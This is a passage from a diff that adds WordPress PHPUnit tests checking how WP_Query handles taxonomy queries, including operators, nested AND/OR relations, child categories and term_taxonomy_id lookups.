+			'name' => 'Foo',
+		) );
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+
+		$tt_ids = wp_set_post_terms( $p1, $t, 'category' );
+
+		$q = new WP_Query( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'category',
+					'terms' => $tt_ids,
+					'field' => 'term_taxonomy_id',
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p1 ), $q->posts );
+	}
+
+	/**
+	 * @group taxonomy
+	 */
+	public function test_tax_query_single_query_single_term_field_term_id() {
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'category',
+			'slug' => 'foo',
+			'name' => 'Foo',
+		) );
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+
+		wp_set_post_terms( $p1, $t, 'category' );
+
+		$q = new WP_Query( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'category',
+					'terms' => array( $t ),
+					'field' => 'term_id',
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p1 ), $q->posts );
+	}
+
+	/**
+	 * @group taxonomy
+	 */
+	public function test_tax_query_single_query_single_term_operator_in() {
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'category',
+			'slug' => 'foo',
+			'name' => 'Foo',
+		) );
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+
+		wp_set_post_terms( $p1, $t, 'category' );
+
+		$q = new WP_Query( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'category',
+					'terms' => array( 'foo' ),
+					'field' => 'slug',
+					'operator' => 'IN',
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p1 ), $q->posts );
+	}
+
+	/**
+	 * @group taxonomy
+	 */
+	public function test_tax_query_single_query_single_term_operator_not_in() {
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'category',
+			'slug' => 'foo',
+			'name' => 'Foo',
+		) );
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+
+		wp_set_post_terms( $p1, $t, 'category' );
+
+		$q = new WP_Query( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'category',
+					'terms' => array( 'foo' ),
+					'field' => 'slug',
+					'operator' => 'NOT IN',
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p2 ), $q->posts );
+	}
+
+	/**
+	 * @group taxonomy
+	 */
+	public function test_tax_query_single_query_single_term_operator_and() {
+		$t = $this->factory->term->create( array(
+			'taxonomy' => 'category',
+			'slug' => 'foo',
+			'name' => 'Foo',
+		) );
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+
+		wp_set_post_terms( $p1, $t, 'category' );
+
+		$q = new WP_Query( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'category',
+					'terms' => array( 'foo' ),
+					'field' => 'slug',
+					'operator' => 'AND',
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p1 ), $q->posts );
+	}
+
+	/**
+	 * @group taxonomy
+	 */
+	public function test_tax_query_single_query_multiple_terms_operator_in() {
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'category',
+			'slug' => 'foo',
+			'name' => 'Foo',
+		) );
+		$t2 = $this->factory->term->create( array(
+			'taxonomy' => 'category',
+			'slug' => 'bar',
+			'name' => 'Bar',
+		) );
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+
+		wp_set_post_terms( $p1, $t1, 'category' );
+		wp_set_post_terms( $p2, $t2, 'category' );
+
+		$q = new WP_Query( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'category',
+					'terms' => array( 'foo', 'bar' ),
+					'field' => 'slug',
+					'operator' => 'IN',
+				),
+			),
+		) );
+
+		$this->assertEqualSets( array( $p1, $p2 ), $q->posts );
+	}
+
+	/**
+	 * @group taxonomy
+	 */
+	public function test_tax_query_single_query_multiple_terms_operator_not_in() {
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'category',
+			'slug' => 'foo',
+			'name' => 'Foo',
+		) );
+		$t2 = $this->factory->term->create( array(
+			'taxonomy' => 'category',
+			'slug' => 'bar',
+			'name' => 'Bar',
+		) );
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+
+		wp_set_post_terms( $p1, $t1, 'category' );
+		wp_set_post_terms( $p2, $t2, 'category' );
+
+		$q = new WP_Query( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'category',
+					'terms' => array( 'foo', 'bar' ),
+					'field' => 'slug',
+					'operator' => 'NOT IN',
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p3 ), $q->posts );
+	}
+
+	/**
+	 * @group taxonomy
+	 * @ticket 18105
+	 */
+	public function test_tax_query_single_query_multiple_queries_operator_not_in() {
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'category',
+			'slug' => 'foo',
+			'name' => 'Foo',
+		) );
+		$t2 = $this->factory->term->create( array(
+			'taxonomy' => 'category',
+			'slug' => 'bar',
+			'name' => 'Bar',
+		) );
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+
+		wp_set_post_terms( $p1, $t1, 'category' );
+		wp_set_post_terms( $p2, $t2, 'category' );
+
+		$q = new WP_Query( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				'relation' => 'AND',
+				array(
+					'taxonomy' => 'category',
+					'terms' => array( 'foo' ),
+					'field' => 'slug',
+					'operator' => 'NOT IN',
+				),
+				array(
+					'taxonomy' => 'category',
+					'terms' => array( 'bar' ),
+					'field' => 'slug',
+					'operator' => 'NOT IN',
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p3 ), $q->posts );
+	}
+
+	/**
+	 * @group taxonomy
+	 */
+	public function test_tax_query_single_query_multiple_terms_operator_and() {
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'category',
+			'slug' => 'foo',
+			'name' => 'Foo',
+		) );
+		$t2 = $this->factory->term->create( array(
+			'taxonomy' => 'category',
+			'slug' => 'bar',
+			'name' => 'Bar',
+		) );
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+
+		wp_set_object_terms( $p1, $t1, 'category' );
+		wp_set_object_terms( $p2, array( $t1, $t2 ), 'category' );
+
+		$q = new WP_Query( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'category',
+					'terms' => array( 'foo', 'bar' ),
+					'field' => 'slug',
+					'operator' => 'AND',
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p2 ), $q->posts );
+	}
+
+	/**
+	 * @ticket 29181
+	 */
+	public function test_tax_query_operator_not_exists() {
+		register_taxonomy( 'wptests_tax1', 'post' );
+		register_taxonomy( 'wptests_tax2', 'post' );
+
+		$t1 = $this->factory->term->create( array( 'taxonomy' => 'wptests_tax1' ) );
+		$t2 = $this->factory->term->create( array( 'taxonomy' => 'wptests_tax2' ) );
+
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+
+		wp_set_object_terms( $p1, array( $t1 ), 'wptests_tax1' );
+		wp_set_object_terms( $p2, array( $t2 ), 'wptests_tax2' );
+
+		$q = new WP_Query( array(
+			'fields' => 'ids',
+			'orderby' => 'ID',
+			'order' => 'ASC',
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'wptests_tax2',
+					'operator' => 'NOT EXISTS',
+				),
+			),
+		) );
+
+		$this->assertEqualSets( array( $p1, $p3 ), $q->posts );
+	}
+
+	/**
+	 * @ticket 29181
+	 */
+	public function test_tax_query_operator_exists() {
+		register_taxonomy( 'wptests_tax1', 'post' );
+		register_taxonomy( 'wptests_tax2', 'post' );
+
+		$t1 = $this->factory->term->create( array( 'taxonomy' => 'wptests_tax1' ) );
+		$t2 = $this->factory->term->create( array( 'taxonomy' => 'wptests_tax2' ) );
+
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+
+		wp_set_object_terms( $p1, array( $t1 ), 'wptests_tax1' );
+		wp_set_object_terms( $p2, array( $t2 ), 'wptests_tax2' );
+
+		$q = new WP_Query( array(
+			'fields' => 'ids',
+			'orderby' => 'ID',
+			'order' => 'ASC',
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'wptests_tax2',
+					'operator' => 'EXISTS',
+				),
+			),
+		) );
+
+		$this->assertEqualSets( array( $p2 ), $q->posts );
+	}
+
+	/**
+	 * @ticket 29181
+	 */
+	public function test_tax_query_operator_exists_should_ignore_terms() {
+		register_taxonomy( 'wptests_tax1', 'post' );
+		register_taxonomy( 'wptests_tax2', 'post' );
+
+		$t1 = $this->factory->term->create( array( 'taxonomy' => 'wptests_tax1' ) );
+		$t2 = $this->factory->term->create( array( 'taxonomy' => 'wptests_tax2' ) );
+
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+
+		wp_set_object_terms( $p1, array( $t1 ), 'wptests_tax1' );
+		wp_set_object_terms( $p2, array( $t2 ), 'wptests_tax2' );
+
+		$q = new WP_Query( array(
+			'fields' => 'ids',
+			'orderby' => 'ID',
+			'order' => 'ASC',
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'wptests_tax2',
+					'operator' => 'EXISTS',
+					'terms' => array( 'foo', 'bar' ),
+				),
+			),
+		) );
+
+		$this->assertEqualSets( array( $p2 ), $q->posts );
+	}
+
+	/**
+	 * @ticket 29181
+	 */
+	public function test_tax_query_operator_exists_with_no_taxonomy() {
+		register_taxonomy( 'wptests_tax1', 'post' );
+		register_taxonomy( 'wptests_tax2', 'post' );
+
+		$t1 = $this->factory->term->create( array( 'taxonomy' => 'wptests_tax1' ) );
+		$t2 = $this->factory->term->create( array( 'taxonomy' => 'wptests_tax2' ) );
+
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+
+		wp_set_object_terms( $p1, array( $t1 ), 'wptests_tax1' );
+		wp_set_object_terms( $p2, array( $t2 ), 'wptests_tax2' );
+
+		$q = new WP_Query( array(
+			'fields' => 'ids',
+			'orderby' => 'ID',
+			'order' => 'ASC',
+			'tax_query' => array(
+				array(
+					'operator' => 'EXISTS',
+				),
+			),
+		) );
+
+		$this->assertEmpty( $q->posts );
+	}
+
+	/**
+	 * @group taxonomy
+	 */
+	public function test_tax_query_multiple_queries_relation_and() {
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'category',
+			'slug' => 'foo',
+			'name' => 'Foo',
+		) );
+		$t2 = $this->factory->term->create( array(
+			'taxonomy' => 'category',
+			'slug' => 'bar',
+			'name' => 'Bar',
+		) );
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+
+		wp_set_object_terms( $p1, $t1, 'category' );
+		wp_set_object_terms( $p2, array( $t1, $t2 ), 'category' );
+
+		$q = new WP_Query( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				'relation' => 'AND',
+				array(
+					'taxonomy' => 'category',
+					'terms' => array( 'foo' ),
+					'field' => 'slug',
+				),
+				array(
+					'taxonomy' => 'category',
+					'terms' => array( 'bar' ),
+					'field' => 'slug',
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p2 ), $q->posts );
+	}
+
+	/**
+	 * @group taxonomy
+	 */
+	public function test_tax_query_multiple_queries_relation_or() {
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'category',
+			'slug' => 'foo',
+			'name' => 'Foo',
+		) );
+		$t2 = $this->factory->term->create( array(
+			'taxonomy' => 'category',
+			'slug' => 'bar',
+			'name' => 'Bar',
+		) );
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+
+		wp_set_object_terms( $p1, $t1, 'category' );
+		wp_set_object_terms( $p2, array( $t1, $t2 ), 'category' );
+
+		$q = new WP_Query( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				'relation' => 'OR',
+				array(
+					'taxonomy' => 'category',
+					'terms' => array( 'foo' ),
+					'field' => 'slug',
+				),
+				array(
+					'taxonomy' => 'category',
+					'terms' => array( 'bar' ),
+					'field' => 'slug',
+				),
+			),
+		) );
+
+		$this->assertEqualSets( array( $p1, $p2 ), $q->posts );
+	}
+
+	/**
+	 * @group taxonomy
+	 */
+	public function test_tax_query_multiple_queries_different_taxonomies() {
+		$t1 = $this->factory->term->create( array(
+			'taxonomy' => 'post_tag',
+			'slug' => 'foo',
+			'name' => 'Foo',
+		) );
+		$t2 = $this->factory->term->create( array(
+			'taxonomy' => 'category',
+			'slug' => 'bar',
+			'name' => 'Bar',
+		) );
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+
+		wp_set_object_terms( $p1, $t1, 'post_tag' );
+		wp_set_object_terms( $p2, $t2, 'category' );
+
+		$q = new WP_Query( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				'relation' => 'OR',
+				array(
+					'taxonomy' => 'post_tag',
+					'terms' => array( 'foo' ),
+					'field' => 'slug',
+				),
+				array(
+					'taxonomy' => 'category',
+					'terms' => array( 'bar' ),
+					'field' => 'slug',
+				),
+			),
+		) );
+
+		$this->assertEqualSets( array( $p1, $p2 ), $q->posts );
+	}
+
+	/**
+	 * @ticket 29738
+	 * @group taxonomy
+	 */
+	public function test_tax_query_two_nested_queries() {
+		register_taxonomy( 'foo', 'post' );
+		register_taxonomy( 'bar', 'post' );
+
+		$foo_term_1 = $this->factory->term->create( array(
+			'taxonomy' => 'foo',
+		) );
+		$foo_term_2 = $this->factory->term->create( array(
+			'taxonomy' => 'foo',
+		) );
+		$bar_term_1 = $this->factory->term->create( array(
+			'taxonomy' => 'bar',
+		) );
+		$bar_term_2 = $this->factory->term->create( array(
+			'taxonomy' => 'bar',
+		) );
+
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+
+		wp_set_object_terms( $p1, array( $foo_term_1 ), 'foo' );
+		wp_set_object_terms( $p1, array( $bar_term_1 ), 'bar' );
+		wp_set_object_terms( $p2, array( $foo_term_2 ), 'foo' );
+		wp_set_object_terms( $p2, array( $bar_term_2 ), 'bar' );
+		wp_set_object_terms( $p3, array( $foo_term_1 ), 'foo' );
+		wp_set_object_terms( $p3, array( $bar_term_2 ), 'bar' );
+
+		$q = new WP_Query( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				'relation' => 'OR',
+				array(
+					'relation' => 'AND',
+					array(
+						'taxonomy' => 'foo',
+						'terms' => array( $foo_term_1 ),
+						'field' => 'term_id',
+					),
+					array(
+						'taxonomy' => 'bar',
+						'terms' => array( $bar_term_1 ),
+						'field' => 'term_id',
+					),
+				),
+				array(
+					'relation' => 'AND',
+					array(
+						'taxonomy' => 'foo',
+						'terms' => array( $foo_term_2 ),
+						'field' => 'term_id',
+					),
+					array(
+						'taxonomy' => 'bar',
+						'terms' => array( $bar_term_2 ),
+						'field' => 'term_id',
+					),
+				),
+			),
+		) );
+
+		_unregister_taxonomy( 'foo' );
+		_unregister_taxonomy( 'bar' );
+
+		$this->assertEqualSets( array( $p1, $p2 ), $q->posts );
+	}
+
+	/**
+	 * @ticket 29738
+	 * @group taxonomy
+	 */
+	public function test_tax_query_one_nested_query_one_first_order_query() {
+		register_taxonomy( 'foo', 'post' );
+		register_taxonomy( 'bar', 'post' );
+
+		$foo_term_1 = $this->factory->term->create( array(
+			'taxonomy' => 'foo',
+		) );
+		$foo_term_2 = $this->factory->term->create( array(
+			'taxonomy' => 'foo',
+		) );
+		$bar_term_1 = $this->factory->term->create( array(
+			'taxonomy' => 'bar',
+		) );
+		$bar_term_2 = $this->factory->term->create( array(
+			'taxonomy' => 'bar',
+		) );
+
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+
+		wp_set_object_terms( $p1, array( $foo_term_1 ), 'foo' );
+		wp_set_object_terms( $p1, array( $bar_term_1 ), 'bar' );
+		wp_set_object_terms( $p2, array( $foo_term_2 ), 'foo' );
+		wp_set_object_terms( $p2, array( $bar_term_2 ), 'bar' );
+		wp_set_object_terms( $p3, array( $foo_term_1 ), 'foo' );
+		wp_set_object_terms( $p3, array( $bar_term_2 ), 'bar' );
+
+		$q = new WP_Query( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				'relation' => 'OR',
+				array(
+					'taxonomy' => 'foo',
+					'terms' => array( $foo_term_2 ),
+					'field' => 'term_id',
+				),
+				array(
+					'relation' => 'AND',
+					array(
+						'taxonomy' => 'foo',
+						'terms' => array( $foo_term_1 ),
+						'field' => 'term_id',
+					),
+					array(
+						'taxonomy' => 'bar',
+						'terms' => array( $bar_term_1 ),
+						'field' => 'term_id',
+					),
+				),
+			),
+		) );
+
+		_unregister_taxonomy( 'foo' );
+		_unregister_taxonomy( 'bar' );
+
+		$this->assertEqualSets( array( $p1, $p2 ), $q->posts );
+	}
+
+	/**
+	 * @ticket 29738
+	 * @group taxonomy
+	 */
+	public function test_tax_query_one_double_nested_query_one_first_order_query() {
+		register_taxonomy( 'foo', 'post' );
+		register_taxonomy( 'bar', 'post' );
+
+		$foo_term_1 = $this->factory->term->create( array(
+			'taxonomy' => 'foo',
+		) );
+		$foo_term_2 = $this->factory->term->create( array(
+			'taxonomy' => 'foo',
+		) );
+		$bar_term_1 = $this->factory->term->create( array(
+			'taxonomy' => 'bar',
+		) );
+		$bar_term_2 = $this->factory->term->create( array(
+			'taxonomy' => 'bar',
+		) );
+
+		$p1 = $this->factory->post->create();
+		$p2 = $this->factory->post->create();
+		$p3 = $this->factory->post->create();
+		$p4 = $this->factory->post->create();
+
+		wp_set_object_terms( $p1, array( $foo_term_1 ), 'foo' );
+		wp_set_object_terms( $p1, array( $bar_term_1 ), 'bar' );
+		wp_set_object_terms( $p2, array( $foo_term_2 ), 'foo' );
+		wp_set_object_terms( $p2, array( $bar_term_2 ), 'bar' );
+		wp_set_object_terms( $p3, array( $foo_term_1 ), 'foo' );
+		wp_set_object_terms( $p3, array( $bar_term_2 ), 'bar' );
+
+		$q = new WP_Query( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				'relation' => 'OR',
+				array(
+					'taxonomy' => 'foo',
+					'terms' => array( $foo_term_2 ),
+					'field' => 'term_id',
+				),
+				array(
+					'relation' => 'AND',
+					array(
+						'taxonomy' => 'foo',
+						'terms' => array( $foo_term_1 ),
+						'field' => 'term_id',
+					),
+					array(
+						'relation' => 'OR',
+						array(
+							'taxonomy' => 'bar',
+							'terms' => array( $bar_term_1 ),
+							'field' => 'term_id',
+						),
+						array(
+							'taxonomy' => 'bar',
+							'terms' => array( $bar_term_2 ),
+							'field' => 'term_id',
+						),
+					),
+				),
+			),
+		) );
+
+		_unregister_taxonomy( 'foo' );
+		_unregister_taxonomy( 'bar' );
+
+		$this->assertEqualSets( array( $p1, $p2, $p3 ), $q->posts );
+	}
+
+	/**
+	 * @ticket 20604
+	 * @group taxonomy
+	 */
+	public function test_tax_query_relation_or_both_clauses_empty_terms() {
+		// An empty tax query should return an empty array, not all posts.
+
+		$this->factory->post->create_many( 10 );
+
+		$query = new WP_Query( array(
+			'fields' => 'ids',
+			'update_post_term_cache' => false,
+			'update_post_meta_cache' => false,
+			'tax_query' => array(
+				'relation' => 'OR',
+				array(
+					'taxonomy' => 'post_tag',
+					'field' => 'id',
+					'terms' => false,
+					'operator' => 'IN'
+				),
+				array(
+					'taxonomy' => 'category',
+					'field' => 'id',
+					'terms' => false,
+					'operator' => 'IN'
+				),
+			)
+		) );
+
+		$posts = $query->get_posts();
+		$this->assertEquals( 0 , count( $posts ) );
+	}
+
+	/**
+	 * @ticket 20604
+	 * @group taxonomy
+	 */
+	public function test_tax_query_relation_or_one_clause_empty_terms() {
+		// An empty tax query should return an empty array, not all posts.
+
+		$this->factory->post->create_many( 10 );
+
+		$query = new WP_Query( array(
+			'fields' => 'ids',
+			'update_post_term_cache' => false,
+			'update_post_meta_cache' => false,
+			'tax_query' => array(
+				'relation' => 'OR',
+				array(
+					'taxonomy' => 'post_tag',
+					'field' => 'id',
+					'terms' => array( 'foo' ),
+					'operator' => 'IN'
+				),
+				array(
+					'taxonomy' => 'category',
+					'field' => 'id',
+					'terms' => false,
+					'operator' => 'IN'
+				),
+			)
+		) );
+
+		$posts = $query->get_posts();
+		$this->assertEquals( 0 , count( $posts ) );
+	}
+
+	/**
+	 * @group taxonomy
+	 */
+	public function test_tax_query_include_children() {
+		$cat_a = $this->factory->term->create( array( 'taxonomy' => 'category', 'name' => 'Australia' ) );
+		$cat_b = $this->factory->term->create( array( 'taxonomy' => 'category', 'name' => 'Sydney', 'parent' => $cat_a ) );
+		$cat_c = $this->factory->term->create( array( 'taxonomy' => 'category', 'name' => 'East Syndney', 'parent' => $cat_b ) );
+		$cat_d = $this->factory->term->create( array( 'taxonomy' => 'category', 'name' => 'West Syndney', 'parent' => $cat_b ) );
+
+		$post_a = $this->factory->post->create( array( 'post_category' => array( $cat_a ) ) );
+		$post_b = $this->factory->post->create( array( 'post_category' => array( $cat_b ) ) );
+		$post_c = $this->factory->post->create( array( 'post_category' => array( $cat_c ) ) );
+		$post_d = $this->factory->post->create( array( 'post_category' => array( $cat_d ) ) );
+
+		$posts = get_posts( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'category',
+					'field' => 'id',
+					'terms' => array( $cat_a ),
+				)
+			)
+		) );
+
+		$this->assertEquals( 4 , count( $posts ) );
+
+		$posts = get_posts( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'category',
+					'field' => 'id',
+					'terms' => array( $cat_a ),
+					'include_children' => false
+				)
+			)
+		) );
+
+		$this->assertEquals( 1 , count( $posts ) );
+
+		$posts = get_posts( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'category',
+					'field' => 'id',
+					'terms' => array( $cat_b ),
+				)
+			)
+		) );
+
+		$this->assertEquals( 3 , count( $posts ) );
+
+		$posts = get_posts( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'category',
+					'field' => 'id',
+					'terms' => array( $cat_b ),
+					'include_children' => false
+				)
+			)
+		) );
+
+		$this->assertEquals( 1 , count( $posts ) );
+
+		$posts = get_posts( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'category',
+					'field' => 'id',
+					'terms' => array( $cat_c ),
+				)
+			)
+		) );
+
+		$this->assertEquals( 1 , count( $posts ) );
+
+		$posts = get_posts( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'category',
+					'field' => 'id',
+					'terms' => array( $cat_c ),
+					'include_children' => false
+				)
+			)
+		) );
+
+		$this->assertEquals( 1 , count( $posts ) );
+	}
+
+	/**
+	 * @group taxonomy
+	 */
+	function test_category__and_var() {
+		$q = new WP_Query();
+
+		$term_id = $this->factory->category->create( array( 'slug' => 'woo', 'name' => 'WOO!' ) );
+		$term_id2 = $this->factory->category->create( array( 'slug' => 'hoo', 'name' => 'HOO!' ) );
+		$post_id = $this->factory->post->create();
+
+		wp_set_post_categories( $post_id, $term_id );
+
+		$posts = $q->query( array( 'category__and' => array( $term_id ) ) );
+
+		$this->assertEmpty( $q->get( 'category__and' ) );
+		$this->assertCount( 0, $q->get( 'category__and' ) );
+		$this->assertNotEmpty( $q->get( 'category__in' ) );
+		$this->assertCount( 1, $q->get( 'category__in' ) );
+
+		$this->assertNotEmpty( $posts );
+		$this->assertEquals( array( $post_id ), wp_list_pluck( $posts, 'ID' ) );
+
+		$posts2 = $q->query( array( 'category__and' => array( $term_id, $term_id2 ) ) );
+		$this->assertNotEmpty( $q->get( 'category__and' ) );
+		$this->assertCount( 2, $q->get( 'category__and' ) );
+		$this->assertEmpty( $q->get( 'category__in' ) );
+		$this->assertCount( 0, $q->get( 'category__in' ) );
+
+		$this->assertEmpty( $posts2 );
+	}
+
+	/**
+	 * @group taxonomy
+	 */
+	public function test_tax_query_taxonomy_with_attachments() {
+		$q = new WP_Query();
+
+		register_taxonomy_for_object_type( 'post_tag', 'attachment:image' );
+		$tag_id = $this->factory->term->create( array( 'slug' => rand_str(), 'name' => rand_str() ) );
+		$image_id = $this->factory->attachment->create_object( 'image.jpg', 0, array(
+			'post_mime_type' => 'image/jpeg',
+			'post_type' => 'attachment'
+		) );
+		wp_set_object_terms( $image_id, $tag_id, 'post_tag' );
+
+		$posts = $q->query( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'post_type' => 'attachment',
+			'post_status' => 'inherit',
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'post_tag',
+					'field' => 'term_id',
+					'terms' => array( $tag_id )
+				)
+			)
+		) );
+
+		$this->assertEquals( array( $image_id ), $posts );
+	}
+
+	/**
+	 * @group taxonomy
+	 */
+	function test_tax_query_no_taxonomy() {
+		$cat_id = $this->factory->category->create( array( 'name' => 'alpha' ) );
+		$this->factory->post->create( array( 'post_title' => 'alpha', 'post_category' => array( $cat_id ) ) );
+
+		$response1 = new WP_Query( array(
+			'tax_query' => array(
+				array( 'terms' => array( $cat_id ) )
+			)
+		) );
+		$this->assertEmpty( $response1->posts );
+
+		$response2 = new WP_Query( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'category',
+					'terms' => array( $cat_id )
+				)
+			)
+		) );
+		$this->assertNotEmpty( $response2->posts );
+
+		$term = get_category( $cat_id );
+		$response3 = new WP_Query( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'tax_query' => array(
+				array(
+					'field' => 'term_taxonomy_id',
+					'terms' => array( $term->term_taxonomy_id )
+				)
+			)
+		) );
+		$this->assertNotEmpty( $response3->posts );
+	}
+
+	/**
+	 * @group taxonomy
+	 */
+	function test_term_taxonomy_id_field_no_taxonomy() {
+		$q = new WP_Query();
+
+		$posts = $this->factory->post->create_many( 5 );
+
+		$cats = $tags = array();
+
+		// need term_taxonomy_ids in addition to term_ids, so no factory
+		for ( $i = 0; $i < 5; $i++ ) {
+			$cats[$i] = wp_insert_term( 'category-' . $i , 'category' );
+			$tags[$i] = wp_insert_term( 'tag-' . $i, 'post_tag' );
+
+			// post 0 gets all terms
+			wp_set_object_terms( $posts[0], array( $cats[$i]['term_id'] ), 'category', true );
+			wp_set_object_terms( $posts[0], array( $tags[$i]['term_id'] ), 'post_tag', true );
+		}
+
+		wp_set_object_terms( $posts[1], array( $cats[0]['term_id'], $cats[2]['term_id'], $cats[4]['term_id'] ), 'category' );
+		wp_set_object_terms( $posts[1], array( $tags[0]['term_id'], $tags[2]['term_id'], $cats[4]['term_id'] ), 'post_tag' );
+
+		wp_set_object_terms( $posts[2], array( $cats[1]['term_id'], $cats[3]['term_id'] ), 'category' );
+		wp_set_object_terms( $posts[2], array( $tags[1]['term_id'], $tags[3]['term_id'] ), 'post_tag' );
+
+		wp_set_object_terms( $posts[3], array( $cats[0]['term_id'], $cats[2]['term_id'], $cats[4]['term_id'] ), 'category' );
+		wp_set_object_terms( $posts[3], array( $tags[1]['term_id'], $tags[3]['term_id'] ), 'post_tag' );
+
+		$results1 = $q->query( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'orderby' => 'ID',
+			'order' => 'ASC',
+			'tax_query' => array(
+				'relation' => 'OR',
+				array(
+					'field' => 'term_taxonomy_id',
+					'terms' => array( $cats[0]['term_taxonomy_id'], $cats[2]['term_taxonomy_id'], $cats[4]['term_taxonomy_id'], $tags[0]['term_taxonomy_id'], $tags[2]['term_taxonomy_id'], $cats[4]['term_taxonomy_id'] ),
+					'operator' => 'AND',
+					'include_children' => false,
+				),
+				array(
+					'field' => 'term_taxonomy_id',
